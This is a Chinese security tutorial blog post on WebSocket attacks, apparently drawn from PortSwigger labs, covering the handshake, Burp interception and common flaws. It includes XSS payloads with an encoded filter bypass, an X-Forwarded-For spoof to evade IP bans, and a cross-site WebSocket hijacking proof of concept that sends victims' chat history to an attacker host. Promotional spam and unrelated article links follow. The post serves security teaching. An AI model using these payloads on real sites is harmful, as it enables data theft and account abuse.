渗透攻击实例-WebSocket攻击

PortSwigger 基于 WebSocket 的安全漏洞 本文介绍PortSwigger 靶场 WebSocket 安全漏洞,包括WebSocket漏洞介绍、利用方式、防御方式等。如有疑问欢迎私聊。 阅读详情

一、什么是WebSocket?

WebSocket是通过HTTP协议发起的一个双向全双工的通信协议。WebSocket协议被广泛用在现代WEB程序中用于数据流的传输和异步通信。

二、WebSocket和HTTP的区别

大多数的Web浏览器和Web网站都是使用HTTP协议进行通信的。通过HTTP协议,客户端发送一个HTTP请求,然后服务器返回一个响应。通常来说,服务端返回一个响应后,这个HTTP请求事务就已经完成了。即使这个HTTP连接处于keep-alive的状态,它们之间的每一个工作(事务)依然是请求与响应,请求来了,响应回去了。这个事务就结束了。所以通常来说,HTTP协议是一个基于事务性的通信协议。

而WebSocket呢,它通常是由HTTP请求发起建立的,建立连接后,会始终保持连接状态。客户端和服务端可以随时随地的通过一个WebSocket互发消息,没有所谓事务性的特点。这里要注意了,源于其双向全双工的通信特点,在一个WebSocket连接中,服务端是可以主动发送消息的哦,这一点已经完全区别于HTTP协议了。

因此,基于以上特点,WebSocket通常用于低延迟和允许服务器发送消息的场景。例如,金融行业常用WebSocket来传输实时更新的数据。

三、WebSocket的建立

var ws = new WebSocket("wss://normal-website.com/chat");

wss协议通过TLS连接建立一个WebSocket;ws协议是不经过加密的连接。

四、WebSocket握手

通过HTTP协议,客户端和服务端进行一个WebSocket握手。

客户端的握手请求:

GET /chat HTTP/1.1``Host: normal-website.com``Sec-WebSocket-Version: 13``Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==``Connection: keep-alive, Upgrade``Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2``Upgrade: websocket

如果服务端接受这个连接,它会返回一个WebSocket回复:

HTTP/1.1 101 Switching Protocols``Connection: Upgrade``Upgrade: websocket``Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

之后,这个WebSocket的网络连接会保持开启状态,任意一方都可以直接发送WebSocket信息。

关于WebSocket握手时的一些特性:

  • Connection和Upgrade头部用来标识这是一个WebSocket握手消息。

  • Sec-WebSocket-Version请求头明确了一个客户端希望使用的WebSocket协议版本。版本13最常用。

  • Sec-WebSocket-Key请求头包含了一个base64编码的随机值,在每个WebSocket握手请求中,它一定是随机生成的。

  • Sec-WebSocket-Accept响应头的值是客户端发送的握手请求中Sec-WebSocket-key的哈希值,并与协议规范中定义的特定字符串连接。这样做的目的是匹配每一对握手请求,防止由于错误的配置或者缓存代理导致的连接错误。

五、WebSocket的消息体是什么样的?

一旦一个WebSocket建立成功后,客户端和服务端任意一方都可以立即异步的发送消息。

例如,客户端可以通过JavaScirpt来简单的发送一个的消息:

ws.send("From WgpSec.2h0ng.");

本质上,WebSocket消息体可以包含任意数据格式的内容。在现代应用程序中,通过WebSocket发送JSON格式的消息体比较常见。

例如,一个聊天机器人的WEB程序可以使用WebSocket发送如下的内容:

{"user":"2h0ng","content":"Hello 2h0ng!"}

WebScoket安全问题分析(二)——如何操控WebSocket

寻找WebSockets的安全漏洞最常用的方法就是,操纵WebSocket的通信流,通过非预期的输入来进行安全测试。本章节主要讨论,如何操纵WebSocket的通信流,以及和操纵普通的HTTP通信相比,操控WebSocket通信时要注意哪些问题。

  • 拦截和修改WebSocket信息

  • 重放和生成一个新的WebSocket消息

  • 操控WebSocket连接

一、拦截和修改WebSocket消息

和HTTP报文的测试流程一样,你可以使用Burp Proxy来拦截和修改WebSocket消息。

  • 配置你的浏览器使用Burp Suite作为它的代理服务器

  • Proxy -> Intrecept is on,测试使用WebSocket的功能点,拦截后,你可以查看或者修改它。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • Proxy -> Intrecept is off,测试使用WebSocket的功能点,然后你可以在Proxy -> WebSockets history中查看历史发送与接受的WebSocket消息。

注意:你可以在Proxy -> Options -> Intercept WebSockets Messages 中配置只拦截客户端 -> 服务端, 或者服务端 -> 客户端方向的WebSocket消息。(默认情况下两个方向都拦截)

二、重放和生成一个新的WebSocket消息

除了拦截和修改一个WebSocket消息之外,你可能也需要重放或者新生成一个WebSocket消息。你可以通过Burp Repeater来实现这些(注意:WebSocket的Repeater面板UI界面不一样,增加了很多小功能,比如管理WebSocket连接、已经重放的消息历史,师傅们可以自己体验一下!):

  • 在Burp Proxy中,在Intercept标签或者WebSockets history中选择一个WebSocket消息,右键发送到Repeater中。

  • 在Burp Repeater中,你可以编辑被选择的WebSocket消息,然后再次发送它。

  • 你也可以在Repeater输入一个新的WebSocket消息然后将它发送给任一方向,给你的客户端(浏览器)或者是服务端。

  • 在WebSocket Repeater独有的History中,你可以看到我们通过WebSocket连接向客户端(浏览器)或者服务端重发的消息。同时,你也可以选择这个History中的消息进行编辑和重放

三、操控WebSocket连接

当然,除了操控WebSocket双向中传递的消息体之外,我们也可以操纵WebSocket的握手环节。这可以引入一些有趣的高级的攻击手法。例如:WebSocket跨域劫持,这会在第四章节中讲解。

有很多场景下,操控WebSocket握手连接是非常有必要的:

  • 它可以扩展你的攻击面

  • 一些攻击手法可能会导致你的连接断开,所以你需要去重新建立一个新的连接

  • Token或者其它的数据在原始的握手请求中可能被窃取或者需要更新

你可以通过刚才讲到的Burp Repeater操控WebSocket握手:

  • 发送一个WebSocket消息到Burp Repeater中。

  • 在Burp Repeater中,点击消息框右上角的小铅笔图标,选择一个WebSocket URL。然后在这个功能栏的下边你可以选择接入已经建立连接的WebSocket、克隆已经建立连接的WebSocket、或者重新连接一个已经断开连接的WebSocket。然后向导会根据你的操作给你一个详细的步骤,跟着做,修改消息体、或者是输入一个新的握手包。

  • 输入或修改结束后点击Connect,Burp会发送你的配置的握手包,然后展示详细的执行结果。如果一个新的WebSocket连接被成功的建立,你可以在Repeater中来通过这个Socket发送新的消息包。

WebSocket安全问题分析(三)——常见的WebSocket漏洞案例

实际上,几乎所有的Web漏洞都有可能出现在WebSocket中。因为,WebSocket本质上就是一个通过HTTP建立连接的双向全双工的通信协议而已,但由于其相比HTTP多了一“工”的特性,可能会出现一些新的攻击场景。

常见的攻击场景如下:

  • 用户的输入被服务器以不安全的方式进行处理,导致了例如SQL注入、XXE等注入攻击。

  • 一些盲注漏洞可能会通过WebSocket引起,可以利用带外技术(opens new window)进行探测。

  • 如果攻击者控制的数据通过WebSocket传输到了其它用户的客户端处,这可能会引起XSS或者其它客户端类型的漏洞。

一、操控WebSocket消息体寻找漏洞

通过篡改 WebSocket 消息的内容,可以发现并利用大多数基于输入的漏洞。

例如,一个具有聊天功能的Web程序使用WebSocket在客户端和服务端之间传输消息。当一个用户输入聊天消息时,如下的一个WebSocket消息被发送到服务端:

{"message":"Hello Tom!"}

服务端会将这个消息内容通过WebSocket转发给另外一个用户Tom,然后在Tom的浏览器中被JS渲染为一段HTML代码。

<td>Hello Carlos</td>

当服务器没有对转发的内容做安全防御或过滤时,可能就会引发XSS攻击。

{"message":"<img src=1 onerror='alert(1)'>"}

二、操控WebSocket握手流程挖掘漏洞

许多WebSockets漏洞只能在握手环节被发现和利用。这些漏洞往往涉及设计缺陷,例如:

  • 无条件信任HTTP头,导致某些安全策略可以被绕过。例如:X-Forwarded-For头。

  • 会话处理机制存在缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。

  • 应用程序自定义的HTTP标头引入的攻击面。

一个操纵WebSocket握手流程的案例是,当一个在线聊天程序通过WebSocket传输消息时,会过滤WebSocket消息中的XSS载荷,并且封禁攻击者的IP,使该IP短时间内无法再次发起WebSocket连接。此时,可以使用X-Forwarded-For头来绕过黑名单,发起WebSocket握手请求建立连接。

GET /chat HTTP/1.1``Host: normal-website.com``Sec-WebSocket-Version: 13``Sec-WebSocket-Key: lXFKzbFCl/rtB+49awKmcQ==``Connection: Upgrade``Upgrade: websocket``X-Forwarded-for: 127.0.0.1

然后,可以多次绕过黑名单限制,进行XSS Bypass。

{"message":"<img src=1 onerror  =&#x00000061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>"}

三、跨站WebSockets攻击

有一种WebSocket攻击类似于JSONP劫持,属于CSRF攻击的一种,它被称为c‍ross-site WebSocket hijacking(opens new window)攻击。

1、什么是跨站WebSocket劫持?

跨站WebSocket劫持(也称为跨域WebSocket劫持)是一种由于WebSocket握手流程的安全缺陷所导致的跨站点请求伪造(CSRF)漏洞。

当WebSocket握手请求仅依靠HTTP cookie进行会话处理并且不包含任何CSRF token或其他不可预测的值时,就会出现这种漏洞。

攻击者可以在自己的站点上创建一个恶意网页,从而建立与易受攻击的应用程序的跨站点WebSocket连接。该应用程序将在受害用户与该应用程序的会话的上下文中处理连接。

然后,攻击者的页面可以通过WebSocket连接向服务器发送任意消息,并读取从服务器接收回的消息内容。这意味着,与常规的CSRF不同,攻击者可以与受攻击的应用程序进行双向交互。

2、跨站WebSocket劫持的危害

一个成功的跨站WebSocket劫持攻击通常会使攻击者能够:

  • 伪装成受害者用户来执行未经授权的行为,与常规CSRF一样,攻击者可以将任意消息发送到服务器端应用程序。如果应用程序使用客户端生成的WebSocket消息执行任何敏感操作,则攻击者可以跨域生成合适的消息并触发这些操作。例如绑定手机号、修改密码等。

  • 访问受害者的敏感数据。与常规CSRF不同,跨站点WebSocket劫持使攻击者可以通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。如果应用程序使用服务器生成的WebSocket消息将任何敏感数据返回给用户,则攻击者可以拦截这些消息并捕获受害用户的数据。这意味着无需跨域方法的支持(JSONP、CORS),也可以读取受害者的数据。

3、如何进行一个跨站WebSocket劫持攻击

由于跨站点WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞,因此执行攻击的第一步是检查应用程序执行的WebSocket握手过程是否针对CSRF进行了保护。

就正常的CSRF攻击流程而言,通常需要找到一个握手消息,该消息仅依赖HTTP cookie进行会话处理,并且在请求参数中不使用任何token或其他不可预测的值。

例如,以下WebSocket握手请求可能容易受到CSRF的攻击,因为唯一的session token是在cookie中传输的:

GET /chat HTTP/1.1``Host: normal-website.com``Sec-WebSocket-Version: 13``Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==``Connection: keep-alive, Upgrade``Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2``Upgrade: websocket

注意:Sec-WebSocket-Key 请求头包含的随机值主要用于防止代理服务器缓存错误,并且不用于身份验证或会话处理目的。

如果WebSocket握手请求易受CSRF的攻击,则攻击者的网页可以执行跨站点请求,与易受攻击的服务器后端接口建立WebSocket。攻击中接下来发生的事情完全取决于应用程序的逻辑以及它如何使用WebSockets。攻击可能涉及:

  • 发送WebSocket消息以代表受害用户执行未经授权的操作。

  • 发送WebSocket消息以检索敏感数据。

  • 有时,可能只需要等待包含敏感数据的消息发送过来。

例如,一个跨站WebSocket劫持读取用户聊天记录的POC如下,用户在建立WebSocket连接后,向服务器发送’READY’字符串,即可接收到服务器传来的历史聊天记录。

<html>``<script>``// Create WebSocket connection.``var ws = new WebSocket("wss://vulnerable-site.com/chat");``   ``// Connection opened``ws.addEventListener('open', function (event) {`    `ws.send('READY');``});``   ``// Listen for messages``ws.onmessage = function(event) {`  `fetch('https://attacker-vps.com/?log'+event.data, {mode: 'no-cors'})``};``</script>``</html>

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

前端websocket劫持漏洞(CSWSH) 其实简单的将,这个很类与websocket版本的CSRF,同样的需要没有CSRF的token,然后利用这一点,发送一下敏感的请求,做一些敏感操作。 阅读详情

相关推荐

WebSocket/WSS API安全测试实战:从抓包解密到CSWSH伪造攻击

在实时交互应用日益普及的今天,WebSocket协议及其安全的WSS变体已成为现代应用架构的核心组件,提供了全双工、低延迟的通信能力。其工作原理基于HTTP Upgrade握手后建立的持久化TCP连接,通过数据帧进行双向通信,这彻底改变了传统无状态请求-响应模型下的安全攻防战场。掌握WebSocket/WSS的安全测试技术,对于评估在线聊天、实时仪表盘、协同编辑等场景的应用安全性具有关键价值。本文聚焦于**WebSocket API攻防**与**WSS协议抓包**两大核心,深入剖析在加密通道中拦截、篡改、重

chengli1824的博客 519

WebSocket安全攻防实战:从协议特性到渗透测试案例解析

WebSocket作为一种在TCP连接上实现全双工通信的协议,其核心原理在于通过一次HTTP握手建立持久连接,实现服务器与客户端之间的双向实时数据传输。相较于传统的HTTP请求-响应模式,这种特性在提升实时交互体验的同时,也带来了独特的安全挑战。从技术价值看,WebSocket广泛应用于在线聊天、实时通知、协同编辑等场景,但其长连接特性可能绕过传统基于HTTP规则匹配的Web应用防火墙(WAF)的检测。在应用场景中,若缺乏消息级的授权校验和输入验证,攻击者可利用WebSocket通道实施未授权访问、消息注入

weixin_34293141的博客 272

内网渗透与域渗透实战指南:从横向移动到Kerberos攻击

网络安全中的横向移动是攻击者在突破边界后,在内网中扩展控制范围的核心技术,其原理在于利用内网信任关系和协议弱点进行主机间的跳转。这项技术的价值在于能有效评估内网纵深防御能力,识别单点突破引发的系统性风险。典型应用场景包括红队评估、内网安全审计和应急响应演练。本文聚焦于横向移动与Kerberos协议攻击的实战差异,深入剖析了哈希传递、票据传递等关键技术,并详解了黄金票据、Kerberoasting等高级攻击手法在域环境中的具体应用,帮助安全人员构建从基础信息收集到域控夺取的完整攻击链认知。

weixin_30740295的博客 441

Websocket长连接接口渗透测试过程随记

但是使用插件多次连接WS接口发现都是403,研究了一番后发现,目标会检测Origin头,如果不是自己站点,就直接返回403,因此需要用Burp来修改请求头。打开bp,找到repeater,新建一个websocket会话,选择刚刚已经建立连接的Websocket会话,并点击下方的Attach。最近接到公司的一个API接口测试的项目,除了常规的HTTP协议的API接口外,其中还有一部分是需要测试Websocket接口的。然而在我寻找了插件的各个角落,也没有发现存在自动回复pong包的功能,很遗憾这种方法失败。

Python_0011的博客 1776

WebSocket走私攻击原理与LiveGBS监控系统未授权漏洞实战分析

WebSocket协议作为实现全双工通信的主流技术,其连接建立依赖于HTTP升级握手机制。这一机制在代理服务器与后端服务对请求解析存在差异时,可能引发WebSocket走私攻击,攻击者可利用畸形握手包夹带恶意请求,绕过前端安全策略。这种攻击方式常与未授权访问漏洞结合,形成高危利用链,在视频监控、实时通信等场景中威胁极大。本文以LiveGBS流媒体服务器为例,深入剖析了如何通过WebSocket走私,利用其管理员密码重置接口的未授权漏洞,最终实现系统权限控制,并提供了针对性的防御加固方案。

weixin_30836759的博客 507

WebSocket安全测试实战:漏洞挖掘与防御方案

WebSocket作为HTML5的核心技术之一,实现了浏览器与服务器之间的全双工实时通信。其基于TCP协议的特性,通过HTTP握手后建立持久连接,显著提升了实时交互效率。在网络安全领域,WebSocket协议因其特殊的通信机制,常成为渗透测试的重点目标。本文从协议原理出发,深入解析WebSocket在金融、物联网等场景中的安全风险,涵盖Burp Suite工具链配置、Python自动化测试脚本开发等实战技巧。针对WebSocket特有的握手注入、消息序列攻击等高级漏洞场景,提供了包括权限控制缺失、反序列化漏

既是过河之卒,惟有奋力向前。 500

WebSocket安全最佳实践:防止WebSocket攻击的终极指南

WebSocket技术为现代Web应用提供了实时双向通信能力,但在享受便利的同时,**WebSocket安全**问题不容忽视。本指南将为您详细介绍如何保护WebSocket连接,防止各种类型的攻击。 ## 🔒 为什么WebSocket安全至关重要 WebSocket协议与HTTP不同,它建立的是持久连接,这使得传统的Web安全防护措施可能无法完全覆盖WebSocket的安全风险。攻击者可能利

gitblog_00977的博客 928

web渗透--51--WebSockets安全测试

1、WebSockets概述 传统的HTTP协议只允许每个TCP连接一个请求/响应,这是一个半双工的交互模式。HTML5 WebSockets允许客户端/服务器建立一个 “全双工” 通信通道,从而允许客户端和服务器真正实现异步通信。WebSocket通过HTTP进行初始的 “升级” 握手,从那时起,所有通信都通过TCP通道并使用frames。

武天旭的博客 3723

WebSocket 安全防护:DDoS 攻击与中间人攻击的防御策略

WebSocket 协议提供全双工通信能力,广泛应用于实时应用(如聊天、游戏和金融交易)。然而,其持久连接特性也带来安全风险,尤其是针对分布式拒绝服务(DDoS)攻击和中间人攻击(MitM)。下面我将逐步解释这些风险,并提供实用的防御策略。所有建议均基于行业最佳实践,确保真实可靠。通过实施这些策略,您可以显著降低WebSocket应用的风险。DDoS防御侧重于流量控制,而中间人攻击防御依赖于加密和认证。记住,安全是持续过程,建议结合具体业务场景调整措施。

2501_93894738的博客 783

步科触摸屏编程

1.首先官网上下载kinco软件,然后再安装驱动,安装的方式是需要两个文件。把两个文件放到driver文件夹下面,然后设备管理器右键更新,手选driver文件夹,自动安装即可。 步科触摸屏驱动文件下载地址 2.按照步科触摸屏使用手册一步一步来建立工程 Kinco HMIware使用手册下载地址 登录界面 涉及到的是页面切换,用的是login window,然后只留下等级输入那个

MAYBE的博客 2万+

ESP32-S3数字麦克风入门:手把手教你用Arduino IDE读取MSM261S4030H0R的I2S数据

本文详细介绍了如何使用Arduino IDE读取MSM261S4030H0R数字麦克风的I2S数据,涵盖硬件连接、代码编写和数据可视化全流程。重点解决I2S引脚配置、环境噪声过滤和声波观察等实际问题,适合ESP32-S3开发者快速上手数字麦克风应用。

weixin_26742753的博客 318

websocket获取ip地址_新型skimmer攻击利用WebSocket逃避检测

点击上方蓝字关注我们Akamai的研究人员发现一种新型skimmer攻击,其利用一种新技术提取信用卡的支付信息,该攻击针对多个电子商城。攻击者使用伪造的信用卡论坛和WebSockets以窃取用户的财务和个人信息。研究人员表明:“越来越多的电子商城将其付款流程外包给第三方供应商,这意味着它们不在商店内部处理信用卡数据。为了克服该问题,攻击者创建了一张虚假的信用卡表单,并将其注入到应用程序的...

weixin_39692254的博客 425

阿里天池新闻推荐实战:多路召回策略解析与优化

本文深入解析阿里天池新闻推荐项目中的多路召回策略,包括ItemCF、UserCF、YouTubeDNN等五种召回模型的协同应用与优化技巧。通过实战案例展示如何提升推荐系统效果,特别针对冷启动问题提出创新解决方案,帮助开发者构建高效的新闻推荐系统。

weixin_26918763的博客 415

什么是 webSocket?攻击面、安全风险与测试要点

websocket安全

二狗学网安 642

MySQL 优化 - index_merge 导致查询偶发变慢

今天遇到了一个有意思的问题,线上数据库 CPU 出现了偶发的抖动。定位到原因是一条查询语句偶发变慢造成的,随后通过调整表中的索引解决。优化器通过某种机制检测到 index_merge 能带来性能提升,某些情况下不会带来提升,反而会耗费更长的时间,属于优化器的缺陷,可以通过调整表中的索引来解决。

分享既学习 1255

Pico-实时预览工具PreviewTool

Unity XR SDK与Preview Tool下载链接:SDK - Pico Developer Platform1、下载Preview Tool后,将PreviewTool的APK先安装在VR头显里2、在PC端打开Preview Tool.exe文件Window -> Package Manager -> Add package from disk,选择下载的pico sdk中的package.json(如下图),Open导入。Edit -> Project Settings,设置设备和安卓版本,如下

晴天下的大头娃娃 4251

WebSocket安全实战:防御物流系统中的中间人攻击与钓鱼威胁

WebSocket作为一种支持全双工通信的网络协议,在现代Web应用中广泛用于实现实时数据推送、在线聊天和状态跟踪等功能。其工作原理是在单个TCP连接上建立持久通道,允许服务器与客户端之间进行低延迟的双向数据交换。这一技术价值在于极大提升了应用的实时交互体验,尤其在物流跟踪、金融交易和协同编辑等场景中不可或缺。然而,如果缺乏足够的安全加固,WebSocket通信可能暴露严重风险。攻击者利用中间人攻击手段,可在通信链路中窃听甚至篡改明文或弱加密的WebSocket流量,进而实施精准的业务逻辑攻击,例如在物流状

weixin_30660027的博客 377

Uniapp H5端SEO优化全攻略:提升搜索引擎排名与流量

在移动互联网时代,H5页面因其跨平台、低成本、易传播的特性,成为许多企业的首选。Uniapp作为一款优秀的前端跨端开发框架,能够快速开发H5、小程序、App等多端应用。然而,由于Uniapp默认采用SPA(单页应用)架构,H5端在SEO(搜索引擎优化)方面存在一定劣势,如爬虫难以抓取动态内容、页面标题和描述不易优化等。 本文将系统性地介绍Uniapp H5端的SEO优化方案,涵盖基础优化、SPA优化策略、内容优化、技术优化、外部优化及监测分析,帮助开发者提升网站在搜索引擎中的排名,获取更多自然流量。

vvilkin的学习备忘 1972

#渗透测试#红蓝对抗#SRC漏洞挖掘# Yakit(7)-Websocket劫持

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章阅读。

soc的博客 1662

【软件介绍】RVC本地部署使用方法

【摘要】RVC是一款功能强大的开源语音转换工具,具有实时处理、多音效选择、高质量音频处理等特点。文章详细介绍了RVC的安装与使用方法:1)配置Python环境;2)根据电脑系统选择对应安装包解压;3)启动程序进入浏览器操作界面。重点讲解了声音克隆的关键步骤:建议使用短音频素材,选择合适训练方法(推荐pm或rmvpe),设置100次训练轮数,生成的模型文件存入weights文件夹。最后通过上传音频即可实现声音克隆。操作过程需注意保持程序运行状态,并提供了相关资源下载地址。

心动的那一刻,记忆便盛开了花 2977

别再死记硬背了!用‘小乌龟’实战图解ROS1核心指令(rosnode/rostopic/rosparam保姆级手册)

本文通过经典的turtlesim乌龟仿真器,以可视化实战方式讲解ROS1核心指令(rosnode/rostopic/rosparam),帮助初学者摆脱死记硬背,在操控乌龟的过程中轻松掌握节点管理、话题通信和参数设置等ROS1核心概念。

weixin_28731223的博客 370
上一篇: 黑客游戏介绍-Hacknet入门(非常详细)零基础入门到精通,收藏这一篇就够了
下一篇: 渗透攻击零基础学习-初识CTF(非常详细)零基础入门到精通,收藏这一篇就够了
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值